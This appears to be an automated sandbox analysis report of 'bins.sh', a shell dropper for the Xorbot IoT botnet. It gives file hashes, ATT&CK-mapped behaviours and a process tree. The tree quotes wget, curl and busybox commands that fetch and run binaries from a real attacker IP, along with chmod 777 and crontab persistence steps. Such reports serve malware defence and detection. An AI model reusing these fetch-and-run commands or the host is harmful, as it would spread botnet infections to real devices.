Analysis

  • max time kernel
    150s
  • max time network
    91s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    04/12/2024, 14:37

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    d179667ead2f245ddba283f8e2fb59ef

  • SHA1

    8654aace077f9788caaf8d949452e5dcf73b6312

  • SHA256

    f379ab849a701f49f2fa39b75b82c5bc77dd368697aef31fdec28919506f60f6

  • SHA512

    c019f5fb06c6b1413fe9e3330ac0423f5bd9186353542aad29c195c17192fd3024fbed593cb199abcedc1d9187efda3b928bcf36cd346a3d9bc87d093500ea38

  • SSDEEP

    192:gVWERGiyF9rl3g6j6d0VJLbgFGiyF9rt6d0d:gUEi77xd

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:703
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:706
        • /usr/bin/wget
          wget http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • Writes file to tmp directory
          PID:711
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • Writes file to tmp directory
          PID:725
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • Writes file to tmp directory
          PID:733
        • /bin/chmod
          chmod 777 olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • File and Directory Permissions Modification
          PID:734
        • /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          ./olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • Executes dropped EXE
          PID:735
        • /bin/rm
          rm olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
            PID:737
          • /usr/bin/wget
            wget http://216.126.231.240/bins/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
            2⤵
            • Writes file to tmp directory
            PID:738
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
            2⤵
            • Writes file to tmp directory
            PID:739
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
            2⤵
            • Writes file to tmp directory
            PID:740
          • /bin/chmod
            chmod 777 4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
            2⤵
            • File and Directory Permissions Modification
            PID:741
          • /tmp/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
            ./4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:742
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:744
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:745
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:746
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:747
                • /bin/rm
                  rm 4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
                  2⤵
                    PID:749
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb
                    2⤵
                      PID:752

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa

                          Filesize

                          127KB

                          MD5

                          89077b7bd4bcafca7713be43635c4862

                          SHA1

                          fc02edb8fba29ea8ee99e6157ef8560334530052

                          SHA256

                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                          SHA512

                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                        • /var/spool/cron/crontabs/tmp.psOFOT

                          Filesize

                          210B

                          MD5

                          10b49a04e011938a54781ddbbe356557

                          SHA1

                          0f888a41ecfb67056d39a32ca24cc8d3b20d9450

                          SHA256

                          5dddb622a00218dcce4bf844fbea6f4b31122d18a71cb2ad754fc26ff921de26

                          SHA512

                          362f6e4f419289734dd6882ec912e36cc1f01ac82bafe1b4015cd48aad97ee77191486a05a62290ebd48dc32b105cfd6c5e66d08cfecb1595fed47b3eb81ecb0